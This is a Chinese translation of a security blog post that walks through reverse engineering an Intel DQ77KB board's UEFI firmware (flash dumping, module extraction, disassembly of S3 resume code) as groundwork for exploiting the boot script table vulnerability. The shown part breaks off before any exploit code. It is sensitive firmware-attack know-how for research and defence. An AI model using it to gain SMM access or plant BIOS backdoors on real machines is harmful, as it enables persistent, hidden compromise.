原文: http://blog.cr4.sh/2015/02/exploiting-uefi-boot-script-table.html
大约一个月前(2015年1月),在第31届Chaos Communication大会上,Rafal Wojtczuk和Corey Kallenberg展示了一项出色的研究:“攻击UEFI安全系统,灵感来源于Darth Venamis’s misery 和 Speed Racer”(视频,白皮书1, 白皮书2)。研究人员发现UEFI漏洞的主要目标 —— 绕过市场上各种现代主板和笔记本电脑上的不同平台安全措施是很简单的(BIOS写保护、SMM保护)。通常,此类漏洞在利用后阶段很有用,感染目标机器后隐藏自身并可以在重装操作系统后仍然存活的BIOS后门。另外,公开的引导脚本表(boot script table)漏洞(CERT VU #976132)非常有趣,因为它是目前允许访问SMM的最公开的漏洞之一(使一个高权限的CPU模式变得更强大,即ring0 或硬件管理层) 然而,Rafal和Corey还没有发布他们的PoC代码来检查你的系统是否存在UEFI引导脚本表漏洞,所以我决定写一篇博客,介绍我在测试硬件上对它的一步步开发过程:Intel DQ77KB主板和7代Q77芯片组。理论上,所有的逆向工程和开发步骤也可以在任何其他UEFI兼容的主板上复制,因此,你可以修改利用代码来添加对其他模型的支持。至于BIOS_CNTL竞态条件漏洞(CERT VU #766164),我的主板不存在该漏洞,因为它正确地设置了SMM_BWP位。 同时,在阅读这篇文章的时候,你应该记住,我所说的BIOS通常指的是“一般的PC固件”,而不是传统(pre-UEFI) BIOS。我所描述的攻击与传统BIOS无关,因为在大多数情况下,它根本没有适当的平台安全机制。
基本信息
UEFI引导脚本表 (boot script table) 是当平台大部分组件处于关机状态时,ACPI S3在休眠期间用来保存平台状态的数据结构。通常这种结构体位于特殊的非易失性存储(NVS)内存区域。UEFI代码在正常引导时构造引导脚本表,并在平台从睡眠中唤醒时,在S3恢复时解析它的表项。攻击者能够在某些安全特性尚未初始化或尚未锁定时,从操作系统内核模式修改当前引导脚本表内容,来触发S3的挂起-恢复周期,并在平台初始化早期实现任意代码执行。如果你还没看过Rafal和Corey的演讲,现在是时候去看看了。 Intel官方文档(Intel®Platform Innovation Framework for EFI)是获取关于UEFI S3 resume架构信息的最佳起点:
以上文档中的很多东西都有在EDK2源码中参考实现。实际上,许多制造商都使用他们自己的代码,但是,EDK2是一个很好的信息源,它可能有助于你更好地理解一些不清楚的东西。 正常启动和S3恢复时的平台启动路径如下图所示:
需要对固件进行逆向来利用这个漏洞,因为引导脚本表的位置和格式是特定于供应商的。Boot Script规范定义了一组必须由解析器实现的操作,而不是boot script二进制格式本身:
#define EFI_BOOT_SCRIPT_IO_WRITE_OPCODE 0x00
#define EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE 0x01
#define EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE 0x02
#define EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE 0x03
#define EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE 0x04
#define EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE 0x05
#define EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE 0x06
#define EFI_BOOT_SCRIPT_STALL_OPCODE 0x07
#define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08
S3恢复的真正实现可能还需要一些定制的操作码。显然,它们在任何规范中都没有描述。
提取并解压固件
首先,要对引导脚本表解析器进行逆向,我们需要获取目标平台的固件文件。你可以从厂商的网站上下载固件更新并解压,但如果你不想打乱固件更新格式的话(那些可能是专用的或未公开的)最好从位于主板上的SPI闪存芯片上转储实际的flash image内容。在大多数情况下,为了转储flash,你可以直接使用运行在目标平台操作系统环境中的flashrom工具(软件方式)。如果 flashrom不支持 你的芯片组/主板,比如我的DQ77KB,你可以在其他计算机上使用SPI编程器来读取闪存芯片的内容(不用拆卸可以): Intel DQ77KB有两个不同的SPI闪存芯片:
刚开始我认为它可能是类似于双BIOS技术的东西,但实际上,这些芯片的容量不同(64和32 Mbit),它们都用于存储单个闪存镜像,而一个64Mbit的芯片无法容纳单个闪存镜像。为了更方便测试,不用每次都读写两个芯片,我决定使用FTDI的FT2232H双通道迷你模块,它拥有USB接口,并且支持许多广泛使用的硬件协议,如SPI,UART,I2C和JTAG。板子的A,B通道分别于第1个和第2个芯片相连:
如果你只需要读取闪存芯片一次或几次——可以使用微探针或SOIC-8测试夹来连接芯片。 因为我在做各种不同类型的工作,经常需要修改固件且很容易把主板刷成砖,我决定将带有8-pin PLS连接器的МГТФ细导线直接焊到我的芯片引脚上。这种设置更方便,更牢固, 在封闭的情况下, 你可以把它放在你的桌子上,而不需要浪费时间连接探针或夹子:
Flashrom允许将基于FTDI FT2232/FT4232H/FT232H的设备作为外部SPI编程器,让我们来读取两个芯片的内容并将它们拼接起来:
# flashrom -p ft2232_spi:type=2232H,port=A --read fw.bin
flashrom v0.9.7-r1854 on Linux 3.8.0-44-generic (x86_64)
flashrom is free software, get the source code at http://www.flashrom.org
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ft2232_spi.
Reading flash... done.
# flashrom -p ft2232_spi:type=2232H,port=B --read fw_2.bin
flashrom v0.9.7-r1854 on Linux 3.8.0-44-generic (x86_64)
flashrom is free software, get the source code at http://www.flashrom.org
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q32.V" (4096 kB, SPI) on ft2232_spi.
Reading flash... done.
# cat fw_2.bin >> fw.bin && rm fw_2.bin
读取的固件flash描述符来自可能包含Firmware File System(FFS)卷的不同区域(BIOS、ME等)。UEFI代码在不同类型(例如PEI阶段,DXE阶段,SMM代码)的不同模块(使用PE/COFF文件格式)之间进行解压,这些模块以文件的形式存储在FFS中。在现代主板的UEFI中可能包含数百个PE模块(在我的DQ77KB中约250个)。 为了提取这些模块,我们使用uefi-firmware-parser工具。它不是一个完美的工具,但在我的例子中,在修复了几个错误之后,uefi-firmware-parser能够正常工作(程序作者已经将它们包含在源代码中)。此外,这个工具是用Python编写的,这使得它相对灵活且便于修改。
$ cd uefi-firmware-parser
$ python scripts/fv_parser.py --extract --output ./fw_extracted --flash fw.bin
Parsing Flash descriptor.
Flash Descriptor (Intel PCH) chips 1, regions 3, masters 2, PCH straps 18, PROC straps 1, ICC entries 0
Flash Region type= bios, size= 0x640000 (6553600 bytes) details[ read: 11, write: 10, base: 1472, limit: 3071, id: 0 ]
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe6ae, size 0x20000 (131072 bytes)
Firmware Volume Blocks: (32, 0x1000)
File 0: cef5b9a3-476d-497f-dc9f-e98143e0422c type 0x01, attr 0x00, state 0x0f, size 0x1ffb8 (131000 bytes), (raw)
RawObject: size= 130976
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe6ae, size 0x20000 (131072 bytes)
Firmware Volume Blocks: (32, 0x1000)
File 0: cef5b9a3-476d-497f-dc9f-e98143e0422c type 0x01, attr 0x00, state 0x07, size 0x1ffb8 (131000 bytes), (raw)
RawObject: size= 130976
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe648, size 0x80000 (524288 bytes)
Firmware Volume Blocks: (128, 0x1000)
File 0: a6beb857-b370-40fb-eb8e-df17aacd955f type 0x02, attr 0x00, state 0x07, size 0x926a (37482 bytes), (freeform)
Section 0: type 0x01, size 0x9252 (37458 bytes) (Compression section)
Section 0: type 0x19, size 0x9864 (39012 bytes) (Raw section)
File 1: 918e7ad1-c1fa-474e-ed82-356dd84f3795 type 0x02, attr 0x00, state 0x07, size 0x7182 (29058 bytes), (freeform)
Section 0: type 0x01, size 0x716a (29034 bytes) (Compression section)
Section 0: type 0x19, size 0x76b8 (30392 bytes) (Raw section)
File 2: ed10cbd0-ec4d-412e-e080-e541edc805f7 type 0x02, attr 0x00, state 0x07, size 0x506a (20586 bytes), (freeform)
Section 0: type 0x01, size 0x5052 (20562 bytes) (Compression section)
Section 0: type 0x19, size 0x53ed (21485 bytes) (Raw section)
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe648, size 0x80000 (524288 bytes)
Firmware Volume Blocks: (128, 0x1000)
File 0: 17088572-377f-44ef-4e8f-b09fff46a070 (CPU_MICROCODE_FILE_GUID) type 0x01, attr 0x48, state 0x07, size 0xa018 (40984 bytes), (raw)
RawObject: size= 40960
File 1: 3b42ef57-16d3-44cb-3286-9fdb06b41451 (DELL_MEMORY_INIT_GUID) type 0x06, attr 0x40, state 0x07, size 0x272fc (160508 bytes), (pei module)
Section 0: type 0x1b, size 0x100 (256 bytes) (PEI dependency expression section)
Section 1: type 0x10, size 0x271e4 (160228 bytes) (PE32 image section)
File 2: 7fd38521-7798-41e5-5e81-12e01fe23c11 type 0x06, attr 0x40, state 0x07, size 0x3cf9 (15609 bytes), (pei module)
Section 0: type 0x1b, size 0x3a (58 bytes) (PEI dependency expression section)
Section 1: type 0x01, size 0x3ca5 (15525 bytes) (Compression section)
Section 0: type 0x10, size 0x8924 (35108 bytes) (PE32 image section)
File 3: 70c2051d-5956-4466-39b1-9e1346f9de0c type 0x06, attr 0x40, state 0x07, size 0x3790 (14224 bytes), (pei module)
Section 0: type 0x1b, size 0x3a (58 bytes) (PEI dependency expression section)
Section 1: type 0x01, size 0x373c (14140 bytes) (Compression section)
Section 0: type 0x10, size 0x5964 (22884 bytes) (PE32 image section)
File 4: dc292e2e-d532-4eb7-2f83-3068d7f5951e type 0x06, attr 0x40, state 0x07, size 0x7dc (2012 bytes), (pei module)
Section 0: type 0x1b, size 0x5e (94 bytes) (PEI dependency expression section)
Section 1: type 0x10, size 0x764 (1892 bytes) (PE32 image section)
File 5: 078f54d4-cc22-4048-949e-879c214d562f type 0xf0, attr 0x00, state 0x07, size 0x47010 (290832 bytes), (ffs padding)
File 6: 1ba0062e-c779-4582-6685-336ae8f78f09 (EFI_FFS_VOLUME_TOP_FILE_GUID) type 0x02, attr 0x40, state 0x07, size 0x20 (32 bytes), (freeform)
Section 0: type 0x19, size 0x8 (8 bytes) (Raw section)
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe1c4, size 0x4c0000 (4980736 bytes)
Firmware Volume Blocks: (1216, 0x1000)
File 0: 5c266089-e103-4d43-b59a-12d7095be2af type 0x07, attr 0x40, state 0x07, size 0xa2a (2602 bytes), (driver)
Section 0: type 0x13, size 0x28 (40 bytes) (DXE dependency expression section)
Section 1: type 0x01, size 0x9ea (2538 bytes) (Compression section)
Section 0: type 0x10, size 0x12c4 (4804 bytes) (PE32 image section)
File 1: 5bba83e6-f027-4ca7-d0bf-16358cc9e123 type 0x07, attr 0x40, state 0x07, size 0xac3c (44092 bytes), (driver)
Section 0: type 0x10, size 0xac24 (44068 bytes) (PE32 image section)
File 2: 8d59ebc8-b85e-400e-0a97-1f995d1db91e type 0x07, attr 0x40, state 0x07, size 0xa9dc (43484 bytes), (driver)
Section 0: type 0x10, size 0xa9c4 (43460 bytes) (PE32 image section)
File 3: eb969dee-3ca7-482e-7589-ef8d9f160dd1 type 0x07, attr 0x40, state 0x07, size 0x8ba (2234 bytes), (driver)
Section 0: type 0x13, size 0x16 (22 bytes) (DXE dependency expression section)
Section 1: type 0x01, size 0x88a (2186 bytes) (Compression section)
Section 0: type 0x10, size 0x10c4 (4292 bytes) (PE32 image section)
File 4: f918e883-7c0f-444c-0ba7-a73350112689 type 0x07, attr 0x40, state 0x07, size 0xbdb (3035 bytes), (driver)
Section 0: type 0x13, size 0x16 (22 bytes) (DXE dependency expression section)
Section 1: type 0x01, size 0xbab (2987 bytes) (Compression section)
Section 0: type 0x10, size 0x1704 (5892 bytes) (PE32 image section)
File 5: e03abadf-e536-4e88-a0b3-b77f78eb34fe (DELL_CPU_DXE_GUID) type 0x07, attr 0x40, state 0x07, size 0x1883 (6275 bytes), (driver)
Section 0: type 0x13, size 0x6 (6 bytes) (DXE dependency expression section)
Section 1: type 0x01, size 0x1863 (6243 bytes) (Compression section)
Section 0: type 0x10, size 0x2d24 (11556 bytes) (PE32 image section)
File 6: 93022f8c-1f09-47ef-b2bb-5814ff609df5 (DELL_FILE_SYSTEM_GUID) type 0x07, attr 0x40, state 0x07, size 0x46c1 (18113 bytes), (driver)
Section 0: type 0x01, size 0x46a9 (18089 bytes) (Compression section)
Section 0: type 0x10, size 0x7e04 (32260 bytes) (PE32 image section)
File 7: dac2b117-b5fb-4964-12a3-0dcc77061b9b (FONT_FFS_FILE_GUID) type 0x02, attr 0x40, state 0x07, size 0x5a5 (1445 bytes), (freeform)
Section 0: type 0x01, size 0x58d (1421 bytes) (Compression section)
Section 0: type 0x18, size 0xfc4 (4036 bytes) (Free-form GUID section)
File 8: 9221315b-30bb-46b5-3e81-1b1bf4712bd3 (SETUP_DEFAULTS_FFS_GUID) type 0x02, attr 0x40, state 0x07, size 0x178 (376 bytes), (freeform)
Section 0: type 0x01, size 0x160 (352 bytes) (Compression section)
Section 0: type 0x19, size 0x2c4 (708 bytes) (Raw section)
File 9: 5ae3f37e-4eae-41ae-4082-35465b5e81eb (DELL_CORE_DXE_GUID) type 0x05, attr 0x40, state 0x07, size 0x27b15 (162581 bytes), (dxe core)
Section 0: type 0x01, size 0x27afd (162557 bytes) (Compression section)
Section 0: type 0x10, size 0x152a44 (1387076 bytes) (PE32 image section)
Section 1: type 0x18, size 0xc53 (3155 bytes) (Free-form GUID section)
... around 300 of other FFS files that was skipped
作为uefi-firmware-parser的替代,你可以看看UEFITool,这是个基于Qt的工具,可以在Windows,OS X和Linux上运行。 攻击的原始描述提到了EFI_PEI_S3_RESUME_PPI
,这是实现ACPI boot script处理的EFI接口。这个接口的GUID值是4426CCB2-E684-4a8a-ae40-20d4b025b710
,让我们在UEFI模块中搜索从固件中提取的原始二进制数据:
$ for s in `find ./fw_extracted -type d`; \
do grep -obUaP '\xb2\xcc\x26\x44\x84\xe6\x8a\x4a' $s/*; \
done | grep '\.pe' | awk -F: '{print $1, $2}'
./fw_extracted/regions/region-bios/volume-volume/file-92685943-d810-47ff-12a1-cc8490776a1f/section0.pe 49160
./fw_extracted/regions/region-bios/volume-volume/file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe 5408
这个GUID只存在于两个文件中:file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe
和file-92685943-d810-47ff-12a1-cc8490776a1f/section0.pe
。根据UEFI -firmware-parser的输出,它们都是UEFI PEI (EFI前期初始化)的可执行文件,所以,让我们用IDA来看看。
PEI介绍
在我们开始之前,让我们学习几个关键概念,这些概念是反汇编并理解UEFI PEI阶段代码所需的。 PEI 基础API由EFI_PEI_SERVICES结构体来描述,runtime通常将这个结构体的地址传递给从FFS加载的每个PEI模块(PEIM)的入口点函数。下面是这个结构体的定义和函数描述:
typedef struct _EFI_PEI_SERVICES
{
EFI_TABLE_HEADER Hdr; // Table header.
EFI_PEI_INSTALL_PPI InstallPpi; // Installs an interface.
EFI_PEI_REINSTALL_PPI ReInstallPpi; // Reinstalls an interface.
EFI_PEI_LOCATE_PPI LocatePpi; // Locates installed interface by GUID.
EFI_PEI_NOTIFY_PPI NotifyPpi; // Installs notification service for interface
// installation and reinstallation.
EFI_PEI_GET_BOOT_MODE GetBootMode; // Returns the present value of the boot mode.
EFI_PEI_SET_BOOT_MODE SetBootMode; // Sets the value of the boot mode.
EFI_PEI_GET_HOB_LIST GetHobList; // Get Hand-Off Blocks (HOBs) list pointer.
EFI_PEI_CREATE_HOB CreateHob; // Abstracts the creation of HOB headers.
EFI_PEI_FFS_FIND_NEXT_VOLUME FfsFindNextVolume; // Discovers instances of firmware volumes.
EFI_PEI_FFS_FIND_NEXT_FILE FfsFindNextFile; // Discovers instances of firmware files.
EFI_PEI_FFS_FIND_SECTION_DATA FfsFindSectionData; // Discovers files of the firmware File System
// (FFS) volume.
EFI_PEI_INSTALL_PEI_MEMORY InstallPeiMemory; // Registers the found memory configuration.
EFI_PEI_ALLOCATE_PAGES AllocatePages; // Allocates memory ranges.
EFI_PEI_ALLOCATE_POOL AllocatePool; // Allocates memory from the HOB heap.
EFI_PEI_COPY_MEM CopyMem; // Copies the contents of one buffer to another.
EFI_PEI_SET_MEM SetMem; // Fills a buffer with a specified value.
EFI_PEI_REPORT_STATUS_CODE ReportStatusCode; // Provides an interface that a PEIM can call
// to report a status code.
EFI_PEI_RESET_SYSTEM ResetSystem; // Resets the entire platform.
EFI_PEI_CPU_IO_PPI CpuIo; // Provides an interface for I/O transactions.
EFI_PEI_PCI_CFG_PPI PciCfg; // Provides an interface for PCI configuration
// transactions.
} EFI_PEI_SERVICES;
PEIMs可以使用InstallPpi()
函数通过GUID安装PEI PEIM-to-PRIM 接口(PPI)的数据库:
typedef EFI_PEI_PPI_DESCRIPTOR
{
UINTN Flags; // Interface flags.
EFI_GUID *Guid; // Interface GUID.
VOID *Ppi; // Pointer to the interface-specific structure.
} EFI_PEI_PPI_DESCRIPTOR;
typedef
EFI_STATUS
(EFIAPI * EFI_PEI_INSTALL_PPI)(
IN struct _EFI_PEI_SERVICES **PeiServices,
IN EFI_PEI_PPI_DESCRIPTOR *PpiList // List of the interfaces to install.
);
PEIMs也可以使用LocatePpi()
函数通过它的GUID查找现有的接口(可以由相同的PEIM或其他的PEIM实现):
typedef
EFI_STATUS
(EFIAPI * EFI_PEI_LOCATE_PPI)(
IN struct _EFI_PEI_SERVICES **PeiServices,
IN EFI_GUID *Guid,
IN UINTN Instance,
IN OUT EFI_PEI_PPI_DESCRIPTOR **PpiDescriptor,
IN OUT VOID **Ppi
);
逆向分析S3恢复代码
让我们在IDA中加载file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe
文件,并检查模块入口点周围的一些代码:
.text:FFBB54EE public EntryPoint
.text:FFBB54EE EntryPoint proc near
.text:FFBB54EE
.text:FFBB54EE arg_0 = dword ptr 4
.text:FFBB54EE arg_4 = dword ptr 8
.text:FFBB54EE
.text:FFBB54EE push esi
.text:FFBB54EF mov esi, [esp+4+arg_4]
.text:FFBB54F3 push esi
.text:FFBB54F4 push [esp+8+arg_0]
.text:FFBB54F8 call sub_FFBB5D9C
.text:FFBB54FD mov eax, [esi]
.text:FFBB54FF push offset unk_FFBB64C8
.text:FFBB5504 push esi
.text:FFBB5505 call dword ptr [eax+18h]
.text:FFBB5508 add esp, 10h
.text:FFBB550B pop esi
.text:FFBB550C retn
.text:FFBB550C EntryPoint endp
.text:FFBB5D9C sub_FFBB5D9C proc near
.text:FFBB5D9C
.text:FFBB5D9C arg_4 = dword ptr 8
.text:FFBB5D9C
.text:FFBB5D9C mov eax, [esp+arg_4]
.text:FFBB5DA0 mov ecx, [eax]
.text:FFBB5DA2 push offset unk_FFBB6558
.text:FFBB5DA7 push eax
.text:FFBB5DA8 call dword ptr [ecx+18h]
.text:FFBB5DAB pop ecx
.text:FFBB5DAC pop ecx
.text:FFBB5DAD retn
.text:FFBB5DAD sub_FFBB5D9C endp
对UEFI二进制文件的逆向分析,并没有太多有用的工具或IDA脚本,一个应该提到的项目:EFI scripts for IDA Pro,by @snare。不幸的是,rename_tables()
和rename_structs()
函数(实际上是最需要的函数)不适用于PEI模块,因为针对IDA Pro的EFI脚本是为DXE阶段设计的。你可以尝试通过向efiutils.py中添加对EFI_PEI_SERVICES
表的正确处理来实现PEI支持。尽管如此,GUIDs查找和重命名特性适用于所有类型的二进制文件,你还可以将UEFI数据结构定义作为单个文件获取,以便于将其加载到IDA中。 在手动修改类型信息和重命名guid之后,模块入口点的汇编代码看起来非常友好:
.text:FFBB54EE ; EFI_STATUS __stdcall EntryPoint(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices)
.text:FFBB54EE public EntryPoint
.text:FFBB54EE EntryPoint proc near
.text:FFBB54EE
.text:FFBB54EE FileHandle = dword ptr 4
.text:FFBB54EE ppPeiServices = dword ptr 8
.text:FFBB54EE
.text:FFBB54EE push esi
.text:FFBB54EF mov esi, [esp+4+ppPeiServices]
.text:FFBB54F3 push esi
.text:FFBB54F4 push [esp+8+FileHandle]
.text:FFBB54F8 call RegisterBootScriptExecuter
.text:FFBB54FD mov eax, [esi]
.text:FFBB54FF push offset gEfiPeiS3ResumePpiDescriptor ; EFI_PEI_PPI_DESCRIPTOR *
.text:FFBB5504 push esi ; PEFI_PEI_SERVICES *
.text:FFBB5505 call [eax+EFI_PEI_SERVICES.InstallPpi]
.text:FFBB5508 add esp, 10h
.text:FFBB550B pop esi
.text:FFBB550C retn
.text:FFBB550C EntryPoint endp
.text:FFBB5D9C ; EFI_STATUS __cdecl RegisterBootScriptExecuter(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices)
.text:FFBB5D9C RegisterBootScriptExecuter proc near
.text:FFBB5D9C
.text:FFBB5D9C ppPeiServices = dword ptr 8
.text:FFBB5D9C
.text:FFBB5D9C mov eax, [esp+ppPeiServices]
.text:FFBB5DA0 mov ecx, [eax]
.text:FFBB5DA2 push offset gEfiPeiBootScriptExecuterPpiDescriptor ; EFI_PEI_PPI_DESCRIPTOR *
.text:FFBB5DA7 push eax ; PEFI_PEI_SERVICES *
.text:FFBB5DA8 call [ecx+EFI_PEI_SERVICES.InstallPpi]
.text:FFBB5DAB pop ecx
.text:FFBB5DAC pop ecx
.text:FFBB5DAD retn
.text:FFBB5DAD RegisterBootScriptExecuter endp
.data:FFBB645C gEfiPeiS3ResumePpiGuid dd 4426CCB2h ; Data1
.data:FFBB645C dw 0E684h ; Data2
.data:FFBB645C dw 4A8Ah ; Data3
.data:FFBB645C db 0AEh, 40h, 20h, 0D4h, 0B0h, 25h, 0B7h, 10h; Data4
.data:FFBB64A8 gEfiPeiS3ResumePpi EFI_PEI_S3_RESUME_PPI <0FFBB51BCh>
.data:FFBB64C8 gEfiPeiS3ResumePpiDescriptor EFI_PEI_PPI_DESCRIPTOR <80000010h, \
.data:FFBB64C8 offset gEfiPeiS3ResumePpiGuid, \
.data:FFBB64C8 offset gEfiPeiS3ResumePpi>
.data:FFBB6524 gEfiPeiBootScriptExecuterPpiGuid dd 0ABD42895h ; Data1
.data:FFBB6524 dw 78CFh ; Data2
.data:FFBB6524 dw 4872h ; Data3
.data:FFBB6514 db 9Dh, 0FCh, 6Ch, 0BFh, 5Eh, 0E2h, 2Ch, 2Eh; Data4
.data:FFBB6554 gEfiPeiBootScriptExecuterPpi EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI <0FFBB5608h>
.data:FFBB6558 gEfiPeiBootScriptExecuterPpiDescriptor EFI_PEI_PPI_DESCRIPTOR <80000010h, \
.data:FFBB6558 offset gEfiPeiBootScriptExecuterPpiGuid, \
.data:FFBB6558 offset gEfiPeiBootScriptExecuterPpi>
以及这些函数的类c伪代码:
EFI_STATUS __stdcall EntryPoint(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices)
{
RegisterBootScriptExecuter(FileHandle, ppPeiServices);
// install S3 resume PPI
return (*ppPeiServices)->InstallPpi(ppPeiServices, &gEfiPeiS3ResumePpiDescriptor);
}
EFI_STATUS __cdecl RegisterBootScriptExecuter(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices)
{
// install boot script executer PPI
return (*ppPeiServices)->InstallPpi(ppPeiServices, &gEfiPeiBootScriptExecuterPpiDescriptor);
}
很明显,加载这个模块后注册了两个接口(关于它们的更多细节在specs中提供):
EFI_PEI_S3_RESUME_PPI
—— 完成固件S3恢复引导路径和传输控制到操作系统的PPI。EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI
—— 生成解析并执行框架引导脚本表函数的PPI。
第二个模块也很容易理解,file-92685943-d810-47ff-12a1-cc8490776a1f/section0.pe
(根据其GUID,这实际上是PEI的核心模块)的sub_FFFCA505
函数引用了EFI_PEI_S3_RESUME2_PPI_GUID
。此过程调用EFI_PEI_S3_RESUME2_PPI.S3RestoreConfig2()
(如果可用)或EFI_PEI_S3_RESUME_PPI.S3RestoreConfig()
。在我的测试系统上似乎只使用了EFI_PEI_S3_RESUME_PPI
接口。
EFI_STATUS __cdecl sub_FFFCA505(EFI_PEI_SERVICES **ppPeiServices)
{
EFI_STATUS Result;
EFI_STATUS Status;
EFI_PEI_S3_RESUME2_PPI *pS3Resume2;
EFI_PEI_S3_RESUME_PPI *pS3Resume;
// try to locate S3Resume2 PPI first
if ((*ppPeiServices)->LocatePpi(
ppPeiServices, &gEfiPeiS3Resume2PpiGuid, 0, &ppPeiServices, &pS3Resume2) & 0x80000000)
{
// try to use S3Resume PPI if fails
Status = (*ppPeiServices)->LocatePpi(
ppPeiServices_, &gEfiPeiS3ResumePpiGuid, 0, &ppPeiServices, &pS3Resume
);
if (Status & 0x80000000)
{
(*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038005u, 0, 0, 0);
// unable to locate required PPI
Result = Status;
}
else
{
// restore platform state
Result = pS3Resume->S3RestoreConfig(ppPeiServices);
}
}
else
{
// restore platform state
Result = pS3Resume2->S3RestoreConfig2(pS3Resume2);
}
return Result;
}
现在回过来看第一个PEI模块。Intel S3恢复引导路径规范对必须通过实现EFI_PEI_S3_RESUME_PPI.S3RestoreConfig()
来完成的操作进行了描述:
该函数将平台恢复到预先存储在EFI_ACPI_S3_RESUME_SCRIPT_TABLE中的预引导配置,并将控制权转移到OS唤醒向量。调用后,该函数负责在跳转到OS唤醒向量之前定位以下信息:
- ACPI table
- S3 resume 引导脚本表
- 其他需要的信息 所有这些必要的信息都应该由
EFI_ACPI_S3_SAVE_PROTOCOL.S3Save()
函数在正常引导路径上准备好。然后,S3RestoreConfig()
函数通过调用来执行预先存储的引导脚本表EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI.Execute()
,并将平台转换到预引导状态。最后,这个函数将控制权交给操作系统的唤醒向量。如果操作系统只支持实模式(real mode)的唤醒向量,这个函数将从flat模式切换到实模式,然后跳转到唤醒向量。
下面是S3RestoreConfig()
的反汇编代码,为了让它更简单,我跳过了很多不属于引导脚本表处理的东西:
EFI_STATUS __cdecl S3RestoreConfig(EFI_PEI_SERVICES **ppPeiServices)
{
EFI_STATUS Result;
EFI_STATUS Status;
EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI *pBootScriptExecuter;
int AcpiGlobalVariable;
__int64 pBootScript;
EFI_PEI_SERVICES *pPeiServices = *ppPeiServices;
pPeiServices->ReportStatusCode(ppPeiServices, 1, 0x3038000u, 0, 0, 0);
// 获取引导脚本执行器的 PPI
Status = (*ppPeiServices)->LocatePpi(
ppPeiServices, &gEfiPeiBootScriptExecuterPpiGuid, 0, 0, &pBootScriptExecuter
);
if (Status & 0x80000000)
{
(*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038006u, 0, 0, 0);
Result = Status;
}
else
{
// 获取ACPI全局变量地址
AcpiGlobalVariable = sub_FFBB550D(ppPeiServices);
AcpiGlobalVariable_ = AcpiGlobalVariable;
if (AcpiGlobalVariable)
{
// 获取引导脚本表地址
v5 = *(unsigned int *)(AcpiGlobalVariable + 0x18);
HIDWORD(pBootScript) = *(unsigned int *)(AcpiGlobalVariable + 0x1C);
LODWORD(pBootScript) = v5;
pPeiServices->ReportStatusCode(ppPeiServices_, 1, 0x3038001u, 0, 0, 0);
// 执行引导脚本表
if (pBootScriptExecuter->Execute(
ppPeiServices, pBootScriptExecuter, pBootScript, HIDWORD(pBootScript), 0) & 0x80000000)
{
(*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038006u, 0, 0, 0);
}
// ... skipped the rest part of S3 resume code ...
Result = 0x80000003u;
}
else
{
(*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038008u, 0, 0, 0);
Result = 0x8000000Eu;
}
}
return Result;
}
这个函数在ACPI全局变量结构体开始处的0x18偏移处获取引导脚本表的地址,然后调用另一个PPI(位于同一个PEIM中,在入口点执行的早期被注册)来执行引导脚本代码。sub_FFBB550D()
函数定位ACPI全局变量的地址,从GUID为af9ffd67-ec10-488a-9dfc-6cbf5ee22c2e
的4字节固件变量中读取:
int __cdecl sub_FFBB550D(EFI_PEI_SERVICES **ppPeiServices)
{
EFI_PEI_SERVICES *pPeiServices = *ppPeiServices;
EFI_PEI_READ_ONLY_VARIABLE2_PPI *pReadOnlyVariable2;
EFI_STATUS Status;
int v4 = 4;
int v5 = 0;
// 定位EFI变量的PPI
pPeiServices->LocatePpi(
ppPeiServices, &gEfiPeiReadOnlyVariable2PpiGuid, 0, 0, &pReadOnlyVariable2
);
// 查询变量值
Status = pReadOnlyVariable2->GetVariable(
pReadOnlyVariable2, L"AcpiGlobalVariable", &gAcpiGlobalVariableGuid, 0, &v4, &v5
);
return (Status & 0x80000000) == 0 ? v5 : 0;
}
现在,当已知当前引导脚本表地址的位置时,可以使用CHIPSEC框架转储它(稍后将介绍这个工具)。 boot script 的前0xD0字节包含以下内容:
图中高亮显示了一些表项中可识别的字段:红色——表项索引,绿色——表项字节大小,蓝色——操作码。现在我们可以看到,与EDK2源代码中引导脚本表的参考实现相比,给定的boot script格式是非常不同的(查看EfiBootScript.h和PiDxeS3BootScriptLib)。 下面是EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI.Execute()
函数 实现引导脚本表解析并执行的反编译代码:
EFI_STATUS __cdecl Execute(EFI_PEI_SERVICES **ppPeiServices, EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI *This,
__int64 Address, int FvFile)
{
unsigned int InstructionPtr;
EFI_STATUS Result;
EFI_STATUS Opcode;
EFI_PEI_SERVICES *pPeiServices;
// 将由ParseInstruction()调用设置的堆栈参数
unsigned int v32; // [bp-64h]@10
int v33; // [bp-5Eh]@70
__int64 v34; // [bp-5Ch]@11
